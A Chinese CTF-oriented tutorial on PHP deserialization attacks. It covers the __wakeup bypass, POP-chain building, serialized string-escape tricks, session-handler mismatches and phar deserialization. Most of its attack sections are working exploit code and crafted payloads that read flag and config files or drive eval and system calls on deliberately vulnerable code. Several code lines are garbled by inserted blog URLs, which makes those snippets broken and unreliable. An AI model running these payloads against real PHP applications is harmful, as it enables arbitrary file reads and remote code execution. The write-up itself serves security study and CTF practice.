主頁 >  其他 > PHP反序列化入門

PHP反序列化入門

2021-04-26 06:45:09 其他

序列化&反序列化

  • 因為資料存盤的需要于是有了序列化和反序列化函式,類似還有json_encode,json_decode.PHP反序列化的方式很多,漏洞也很多,知識點也很多,于是我想結合CTF來學習PHP的反序列化漏洞,再深入到實戰,
函式名 作用
Serialize 可以將陣列或物件轉換成字串進行存盤(有時候WAF改變了所存的儲資料,則可能產生漏洞)
Unserialize 將序列化的字串轉換為PHP值(我們如果能控制反序列化時傳輸的資料,則可能產生漏洞)
<?php
class basic{
    public $age = 18;
    private $name = 'pan3a';
    protected $gender = 'man';
    var $data = https://www.cnblogs.com/Pan3a/p/array('one','two');

}
$object = new basic();
$ser = serialize($object);
var_dump($ser);
print_r(unserialize($ser));
  • 輸出展示,類方法并沒有參與序列化這里的\000代表一個字符即chr(0)所展示的字符,由于不可見,經常使用URL編碼來展示,
  • private---%00類名%00成員名
  • protected---%00*%00成員名
  • PHP7.1后,對成員屬性不敏感則可繞過對字符屬性檢測,同時也可以用大寫S,后面字符可用十六進制表示來繞過,可參考網鼎杯2020青龍組AreUSerialz.
string(133) "O:5:"basic":4:{s:3:"age";i:18;s:11:"\000basic\000name";s:5:"pan3a";s:9:"\000*\000gender";s:3:"man";s:4:"data";a:2:{i:0;s:3:"one";i:1;s:3:"two";}}"
basic Object
(
    [age] => 18
    [name:basic:private] => pan3a
    [gender:protected] => man
    [data] => Array
        (
            [0] => one
            [1] => two
        )

)
  • 這里反序列化的資料型別都是字符型別的縮寫
a - array b - boolean d - double i - integer o - common object r - reference
s - string C - custom object O - class N - null R - pointer reference U - unicode string

PHP魔術方法

  • 具體案例可參考---十六個魔術方法詳解,
  • 也可參考PHP手冊---PHP Magic Method
函式名 作用
__construct 類的建構式,在類初始化時自動呼叫(類似于Python的_init_(self))
__destruct 類的解構式,PHP5參考,在類作用域結束時使用(通常用于反序列化利用鏈開始)
__sleep 執行serialize()函式之前執行該函式
__wakeup 執行unserialize()函式之前執行該函式(通常用于反序列化之前的初始化,CVE-2016-7124可以Bypass此魔術方法)(PHP5-PHP5.6.25 AND PHP7-PHP7.0.10)
__tostring 類被當做字串時自動呼叫(比如輸出陳述句,字串拼接,字符比較等等)
__invoke 把類當做一個函式使用時呼叫
__get 訪問不存在屬性,或不可訪問屬性比如protected
<?php

class people{
    public $age;
    private $name = 'forever404';
    protected $gender;

    public function __construct($age, $name, $gender){
        $this->age = $age;
        $this->name = $name;
        $this->gender = $gender;
        echo '__construct自動呼叫啦!';
        echo 'My name is '.$name.',I am '.$age.' Years old,'.'I am a '.$gender.'!'.PHP_EOL;
    }

    public function __destruct(){
        echo '當前類的生命周期結束啦,__destruct解構式被自動呼叫啦!'.PHP_EOL;
    }

    public function __sleep(){
        echo '呼叫serialize()函式啦!'.PHP_EOL;
        return array('age','name','gender');
        // 必須回傳父類中序列化元素屬性,否則NULL被序列化會報錯
    }

    public function __wakeup(){
        echo '呼叫unserialize()函式啦!'.PHP_EOL;
        $this->age = 100;
        $this->name = 'Panda';
    }

    public function __toString(){
        return '物件被當做字串處理了!'.PHP_EOL;
    }


}
$O = new people($age='18',$name='pan3a', $gender='man');
$ser = serialize($O);
var_dump($ser);
print_r(unserialize($ser));
echo '這是我的第一個類---'.$O;
?>
  • 輸出展示,會發現name,gender這兩個序列化后的資料不一樣,因為他們的屬性分別是privateprotected,這里還有就是__destruct這個魔術方法被呼叫了兩次,因為有實體化結束呼叫一次,反序列化結束呼叫了一次,
__construct自動呼叫啦!My name is pan3a,I am 18 Years old,I am a man!
呼叫serialize()函式啦!
/var/www/html/MagicMethod/Deserialize.php:40:
string(94) "O:6:"people":3:{s:3:"age";s:2:"18";s:12:"\000people\000name";s:5:"pan3a";s:9:"\000*\000gender";s:3:"man";}"
呼叫unserialize()函式啦!
people Object
(
    [age] => 100
    [name:people:private] => Panda
    [gender:protected] => man
)
當前類的生命周期結束啦,__destruct解構式被自動呼叫啦!
這是我的第一個類---物件被當做字串處理了!
當前類的生命周期結束啦,__destruct解構式被自動呼叫啦!

Bypass __Wakeup

  • 這里就要用到上面提到的CVE-2016-7124---反序列化中物件的個數大于真實個數及會繞過!
  • 適用范圍---PHP5-PHP5.6.25 AND PHP7-PHP7.0.10
  • PHP Online Exec.
<?php
class shell
{
    public $command = 'whoami';

    public function __wakeup(){
        $this->command = NULL;
    }

    public function __destruct(){
        if(isset($this->command)) {
            system($this->command);
        }else{
            echo 'var command is null'.PHP_EOL;
        }
    }
}
$MyShell = new shell();
$ser = serialize($MyShell);
var_dump($ser);
//    $ser = 'O:5:"shell":1:{s:7:"command";s:6:"whoami";}'
//$payload = 'O:5:"shell":2:{s:7:"command";s:3:"pwd";}';
$data = https://www.cnblogs.com/Pan3a/p/empty($_GET('payload'))?serialize($ser):$_GET('payload');
$obj = unserialize($data);
  • 運行結果展示,這里物件回收流程是先創建的后回收,類似與堆疊機制先進后出
  • 代碼分析這個shell類首先看見的就是__wakeup方法,將變數command賦值為空,然后就是__destruct方法,如果變數command不為空則執行該命令,然后我們可控點只有變數data,但是反序列化資料時,又要先呼叫__wakeup方法,因此我們如果想要執行命令則必須繞過這個方法,Google到這個方法可以通過CVE-2016-7124來繞過,只需增大序列化的資料即可,因此使用上面的payload即可,
string(43) "O:5:"shell":1:{s:7:"command";s:6:"whoami";}"
/
root


PHP Notice:  unserialize(): Unexpected end of serialized data in /usercode/file.php on line 24
PHP Notice:  unserialize(): Error at offset 39 of 40 bytes in /usercode/file.php on line 24

PHP鏈構造

網鼎杯2020青龍組AreUSerialz

  • 這里可用上面兩種方法來繞過:1---PHP7.1屬性不敏感,2---大寫S字符用十六進制,
  • BUUCTF 網鼎杯2020青龍組AreUSerialz.
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 一上來就直接給的原始碼,首先看程式入口第74行,需要我們GET['str']然后再對我們所提交的資料進行反序列化,但是這里又有一個is_valid()函式對我們的輸入進行了限制,大致就是遍歷你的輸入,對應字符的ASCII碼必須再32-125意思就是可見字符,還不曉得為啥要這么寫,再去看看FileHander類,發現定義的變數屬性都是protected,這種屬性反序列化又會是%00*%00變數名,則會出現不可見字符,再聯系那個is_valid()函式清楚了,然后下其他函式process(),write(),read(),output(),功能就是函式名,分別是程式執行程序,檔案寫入,檔案讀取,輸出,其中OP變數控制程式是讀(2)還是寫(1),最后一個__destruct(),那么就是我們的漏洞點了,
  • 分析完函式功能,就來看利用鏈,首先控制類變數繞過is_vaild(),然后然后到__destruct(),再進入程式控制process(),我們需要讀檔案則判斷變數OP=='2',進入read()函式,控制變數filename則造成任意檔案讀取,
  • 于是用到上面的PHP特性知識點,Google插件wappalyzer看到網站是PHP7.4.3搭建的,變數OP==2發現__destruct()用的強等(變數型別和字符都必須相等),但是后面用的弱等,那么則可繞過,
  • 發現直接檔案名設為/flag.php不得行,頁面報錯了,那么添上絕對路徑OK,flag在原始碼里面,
<?php
class FileHandler{
    public $op =2;
    public $filename="/var/www/html/flag.php";
}
var_dump(serialize(new FileHandler));
//O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";}
?>
<?php
class FileHandler{
    protected $op =2;
    protected $filename="/var/www/html/flag.php";
}
$exp = (serialize(new FileHandler));
$exp = str_replace('s','S', $exp);
$exp = str_replace(chr('0'),'\00',$exp);
print_r(urlencode($exp));
//O%3A11%3A%22FileHandler%22%3A2%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D
?>

MRCTF 2020 Ezpop

  • BUUCTF MRCTF 2020 Epop.總的來說就是構造利用鏈吧,看自己喜歡怎么尋找,一種是危險函式回溯方式,一種是根據可控引數尋找,
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 總體來說就只有三個類,應該不算難,定位到危險函式Modifier類的append方法可以包含一個檔案,可控引數value的話,那么造成任意檔案包含,若要呼叫append方法必須呼叫魔術方法__invoke.而invoke方法又必須是把Modifier方法當做函式使用時才呼叫,
  • 發現Test類中呼叫了function方法,而function方法又來自Test類中的p變數可控,可任意呼叫方法,但必須呼叫__get魔術方法才能任意呼叫方法,而__get魔術方法有必須是訪問一個不存在的屬性,或私有受保護的變數,
  • 發現Show類中的__toString方法若strTest類,那么則可呼叫__get方法,但__toString方法必須是將類當做字符處理才能觸發,
  • 反序列化執行之前,會先執行__wakeup方法,假如Show類中的source是一個類,這里的正則匹配則把這個類當成了字符處理,那么又會看這個類是否有__toString方法,有則自動呼叫,我們這里就自己呼叫自己,那么就會觸發該__toString方法,
Show->wakeup---Show->toSring---Test->get---Modifier->invoke---Modifier->append
<?php
class Modifier{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;

    public function __construct(){
        $this->str = new Test();
    }
}

class Test{
    public $p;

    public function __construct(){
        $this->p = new Modifier();
    }
}

$a = new Show();
$a->source = new Show();
print_r(urlencode(serialize($a)));
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

PHP反序列化字串逃逸

借用哈大佬們名言

  • 任何具有一定結構的資料,如果經過了某些處理而把結構體本身的結構給打亂了,則有可能會產生漏洞,(記不得出處了)

0CTF 2016piapiapia

  • 反序列化后長度遞增
  • 打開一個登錄框,簡單測了一下SQL注入,感覺不存在,于似乎掃了哈目錄,發現存在原始碼泄露(www.zip),
class.php           主要有Mysql(資料庫的增刪查改+WAF),user(繼承Mysql,函式實作一定的功能)
config.php           組態檔,資料庫的連接和flag
index.php            登錄
profile.php          展示登錄的個人資訊和上傳的圖片
register.php         注冊用戶
update.php           檔案上傳
  • 由于如果代碼全部貼出來文章顯得很長了,就展示主要代碼吧,由于代碼過濾了增刪查改幾乎無法造成注入,那么就無法從注冊登錄這個點下手,發現profile.php那里有個檔案讀取函式,如果引數可能那么可能造成任意檔案讀取咯,
// profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
  • 回溯引數$profile['photo']來源,是反序列化$profile出來的,既然有反序列化,那么肯定有序列化.全域搜索serialize,定位到update.php檔案,
<?php
 // update.php
    require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		// 中間洗掉了一些不必要的代碼
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="https://www.cnblogs.com/Pan3a/p/profile.php">Your Profile</a>';
	}
	else {
?>
  • 這里發現$profile['photo']由一個路徑+MD5檔案拼接而成,只能控制$file['name']但是有被加密了,從而無法利用,再繼續往下看,發現將序列化的檔案進行了上傳,跟進函式update_profileclass.php
<?php
 // class.php
 class user extends mysql{
 // 以上還有資料庫的基本操作,但后面無影響,因此不貼出來了
   	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
}

class mysql{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
?>
  • 然后看到user類的update_profile方法其中的new_profile引數則是serialize($profile),這里的兩個引數都進過mysql類中的filter方法進行過濾,注意這里的new_profile引數值是一個序列化后的資料,經過filter方法后可能改變資料結構.我們需要的則是讓$profile['photo']=config.php那么就可得到flag,但是按照正常程式會如以下執行,
<?php
function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'panda';
$profile['photo'] = 'upload/'.md5($file['name']);

$new_profile = filter(serialize($profile));
print_r($new_profile);
// a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"[email protected]";s:8:"nickname";s:5:"panda";s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
  • 這里我們看到字符經過filter方法并沒有發生改變,這是正常輸入的時候,如果不正常的話的那么將select,insert,update,delete,where這些字符替換為hacker,細心點就會發現where替換后變成hacker字符長度會增加一,
  • PHP反序列化時以;作為分隔點,}做為結束標志,根據長度來判斷讀取多少字符,我們無法控制$profile['photo']但是可以控制nickname,如果在這里截斷(不在讀取后面的內容)我們則可以構造后面的引數值,而nickname又進行了長度限制,strlen函式卻無法處理陣列,因此用陣列進行繞過即可我們在這里截斷,那么后面的則會被廢棄不再讀取,從而達到$profile['photo']引數可控,就類似于,下面用的是陣列因此niackname后面為陣列標示,
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"[email protected]";s:8:"nickname";a:1:{i:0;s:5:"panda";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
  • 我們則要構造如上的形式,就利用上面的where轉換后字符長度加一的特性來構造我們的payload,計算下面的payload長度,因此需要34個長度的溢位,則需要34個where來構造因此拼接如下則是
";}s:5:"photo";s:10:"config.php";}
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  • 剛好反序列化后$profile['photo']=config.php.
<?php
function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '[email protected]';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = 'upload/'.md5($file['name']);

$new_profile = filter(serialize($profile));
print_r($new_profile);
echo PHP_EOL;
print_r(unserialize($new_profile));
/*
輸出展示
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
Array
(
    [phone] => 01234567890
    [email] => [email protected]
    [nickname] => Array
        (
            [0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
        )

    [photo] => config.php
)
*/
  • 這個就像你有一條204米長的繩子,還有一把204米的尺子,這樣剛好可以量完長度,但是你的繩子突然長長了,那么一次肯定就不夠量了,剩下的只有下次再量,反序列化也是如此,他只根據他的長度來讀取內容,剩下的他就不管了,用作下一次讀取,

安詢杯2019-easy_serialize_php

  • 反序列化后長度遞減
  • 一上來就給原始碼了,看了一下phpinfo發現自動包含了d0g3_f1ag.php檔案,
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="https://www.cnblogs.com/Pan3a/p/index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
  • 原始碼不多,首先來個filter過濾函式,后面給Session賦值,extract則可能變數覆寫,又有file_get_contents()引數可控的話又會出現任意檔案讀取,
  • 老方法,看了哈檔案讀取的$_SESSION['img']引數不可控,$_SESSION['user']$_SESSION['function']我們可以通過變數覆寫來控制,倘若按照平常來看的話,最后檔案讀取出來極大可能是亂碼,因此現將檔案讀取路徑base64加密再sha1加密,那么直接base64是解不出正常檔案的,
<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'panda';
$sess['function'] = 'show_image';
$sess['img'] = sha1(base64_encode($file));


$ser_info = filter(serialize($sess));
print_r($ser_info);
// a:3:{s:4:"user";s:5:"panda";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 上面并沒有觸發過濾函式,如果觸發了過濾函式,那么關鍵字則會被替換為空,假如我們的user的值或者function值中有黑名單中的函式,那么這可能不會成功的反序列化,因為序列化后的結構可能會被打亂,假如$_SESSION['user']='phpflag'那么序列化后則是
a:3:{s:4:"user";s:7:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 可以明顯的看出user值為空了,但是長度依然不變,則在反序列化時會向后繼續讀取資料,我們可以構造資料吞并function,而且function的值可控,用來構造惡意資料(自己構造img的值,并在最后截斷資料),那么img則為可控資料了,我們需要構造的資料為,后面的資料為d0g3_f1ag.phpbase64加密,因為后面要對其進行解密再讀取檔案,
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 由于陣列的元素為三個,因此序列化里面的內容也要有三個,隨意構造一個資料即可,這里是$_SESSION['name']='panda'.
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 差不多都改造完了,最后整合,
<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'flagflagflagflagflagflag';
$sess['function'] = '1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$sess['img'] = sha1(base64_encode($file));


$ser_info = filter(serialize($sess));
print_r($ser_info);
print_r(unserialize($ser_info));
/*
輸出展示,后面讀檔案以此類推即可,
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
Array
(
    [user] => ";s:8:"function";s:65:"1
    [name] => panda
    [img] => ZDBnM19mMWFnLnBocA==
)
*/

Session反序列化

  • Session?這也是一個超全域變數$_Session,主要作用為追蹤用戶,判斷請求是否來自同一個用戶,比如有一個登錄框,用戶輸入正確賬號和密碼后,可以訪問更多的功能,但是你怎么知道用戶是登錄或者沒登錄呢?那么就需要Session或者Cookie來判斷了,登錄成功后可在HTTP HeadersCookie中設定特殊值---Session來區分登錄用戶和未登錄用戶,SessionCookie的主要區別則是Session值存盤與服務器段因此更安全,Cookie值存盤與客戶端,
  • PHP中的Session存盤有三種處理器,分別對應三種格式,這三種格式分別使用目前沒有問題,但是混合使用則會造成漏洞,
處理器 存盤格式
php 鍵名+豎線(|)+經過serialize序列化后的資料(默認使用該處理器)
php_serialize 經過serialize序列化后的陣列
php_binary 鍵名長度對應的ASCII的字符+serialize序列化后的資料
  • 分別對應的記錄是
<?php
// php處理器
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['php'] = 'php';
// php|s:3:"php";
<?php
 // php_serialize處理器
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['php_serialize'] = 'php_serialize';
// a:1:{s:13:"php_serialize";s:13:"php_serialize";}
<?php
// php_binary處理器
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['php_binary'] = 'php_binary';
// 注意這里的輸出有個換行,因此php_binary的長度為10,ASCII碼對應的字符為"\n"因此有換行
// php_binarys:10:"php_binary";
  • 這里思考一下,如果用php_serialzie處理器存盤,再用默認的php處理器讀取,是否會出現漏洞呢?php處理器讀取時會以|作為分隔符,前面作為鍵名,后面作為鍵值,假如php_serialize處理器存盤的值中用|,再用php處理區去讀取,那會怎樣呢?
  • 提交$_SESSION['php_serialize']=|s:5:"panda";再用php處理器處理時,會認為鍵名為a:1:{s:13:"php_serialize";s:13:",鍵值為s:5:"panda";";}然后反序列化出來的值則為panda后面的長度則會被舍棄,
a:1:{s:13:"php_serialize";s:13:"|s:5:"panda";";} 

淺析Session反序列化

  • PHP session_start()---會創建新會話或者重用現有會話,如果通過GET或者POST方式,或者使用cookie提交會話ID,則會重用現有會話,當會話開始時,PHP會呼叫會話管理器的openread回呼函式,通過read函式回傳現有會話資料,PHP會自動反序列化資料并且填充$_SESSION超全域變數
  • 注意上面是GET或者POST請求而不是在PHPSTORM中用PHP腳本執行,這樣的話就不是同一個會話,因此無法利用,
//創建Session CreateSession.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['username'];
var_dump($_SESSION);
// 讀取Session  ReadSession.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class vul{
    public $command;

    public function __wakeup(){
        system($this->command);
    }
}
// exp  Exploit.php
<?php
class vul{
    public $command;

    public function __construct($com){
        $this->command = $com;
    }
}
$command = 'pwd';
echo '|'.serialize(new vul($command));
// |O:3:"vul":1:{s:7:"command";s:3:"pwd";}
  • 主要有以上三個檔案,首先是執行exp.php構造攻擊payload,然后再在瀏覽器中打開CreateSession.php提交我們的payload,再在瀏覽器中打開ReadSession.php讀取Session,那么我們的命令就會被執行,

jarvisoj.com

  • 上面是Session可控的情況下,正常情況下當然沒得這種可能,因此有人提出了另一種利用方式,
  • session.upload_progress.enabled----能夠對再每一個檔案上傳時檢測上傳進度,當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress一樣變數名時,上傳進度可以再$_SESSION中獲得,
  • 綜上所述,就是開啟session.upload_progress.enabled(PHP5.4后可用且為默認開啟),構造一個檔案上傳,POST一個為session.upload_process的變數,那么服務器就會將POST的的這個變數作為鍵值序列化后存盤再session中,讀取時再反序列化這個session檔案,
  • jarvisoj----session反序列化,直接給了原始碼,發現PHPINFO中默認的session存盤器與代碼中的不一樣,因此可能存在漏洞,
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
  • 上面的代碼很簡單,如果$mdzz變數可控,那么則會造成一個webshell,這里因為沒有可控的反序列化點,因此需要用到上面的知識點,
  • 構造一個檔案上傳點(upload.html),然后再構造利用鏈即可,
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="https://www.cnblogs.com/Pan3a/p/panda"/>
    <input type="file" name="file"/>
    <input type="submit" />
</form>
<?php
// exp.php
class OowoO{
    public $mdzz;

    public function __construct($command){
        $this->mdzz = $command;
    }
}
echo '|'.serialize(new OowoO('print_r(scandir(dirname(__FILE__)));'));
// |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
  • 最后訪問構造的upload.html,burp抓包更改上傳檔案名值為exp.php所輸出的內容即可,記得訪問題目所攜帶的cookie

jarvisoj

Phar反序列化

  • 隨著安全意識的提高,直接存在的unserialize()的引數也幾乎都是不可控了,于是Sam ThomasBlackHat上提出了新的利用方式,議題PDF.
  • 主要參考:Seebug seaii zsx 師傅. 看他們文章自己所學的一些復現與理解,
  • 議題的主要內容是可以不用再借助反序列化函式構造反序列化利用鏈,通過php內置的資料流協議-----phar結合一些檔案操作函式(引數可控),

淺析Phar

  • 查看官方手冊大概講的就是phar是一個資料壓縮協議,可以將多個檔案分組成一個檔案,可以通過phar協議直接讀取,就像類似的zip壓縮一樣,這樣的檔案當然有固定的特征,(個人理解)
  • stub,phar檔案的標志,格式為:xxxxxxx<?php xxxxxxxx; __HALT_COMPILER();?>,相當于一段文字只要是__HALT_COMPILER();?>結尾即可,
  • meta-data,用戶可以自定義的資料,主要是用來存盤檔案的權限,屬性等資訊,同時這部分資料是以序列化存盤的,
  • 最后就是檔案的簽名,來標識資料的結束,
  • 以上就是構造一個phar檔案上傳,然后就是控制檔案操作函式(file_exists(),file_get_contents()等)來觸發反序列化操作,

Demo

  • 這里必須要改php.ini中的phar.readonly = off.假如我們發現有個簡單的漏洞,能上傳檔案,但是把能決議的如php,phtml,php3htaccess這些都禁止了,那么但靠檔案上傳也許沒辦法了(至少我沒辦法了,哈哈),這里和上面的Session反序列化有點類似,但是考點不一樣,這里無法看Session的存盤器讀取和存盤時是否一致,
<?php
// vul.php
class WebShell{
    public $command;
    public function __wakeup(){
        if(!empty($this->command)) {
            eval($this->command);
        }
    }
}
$filename = $_GET['filename'];
if(!empty($filename)){
    file_get_contents($filename);
}
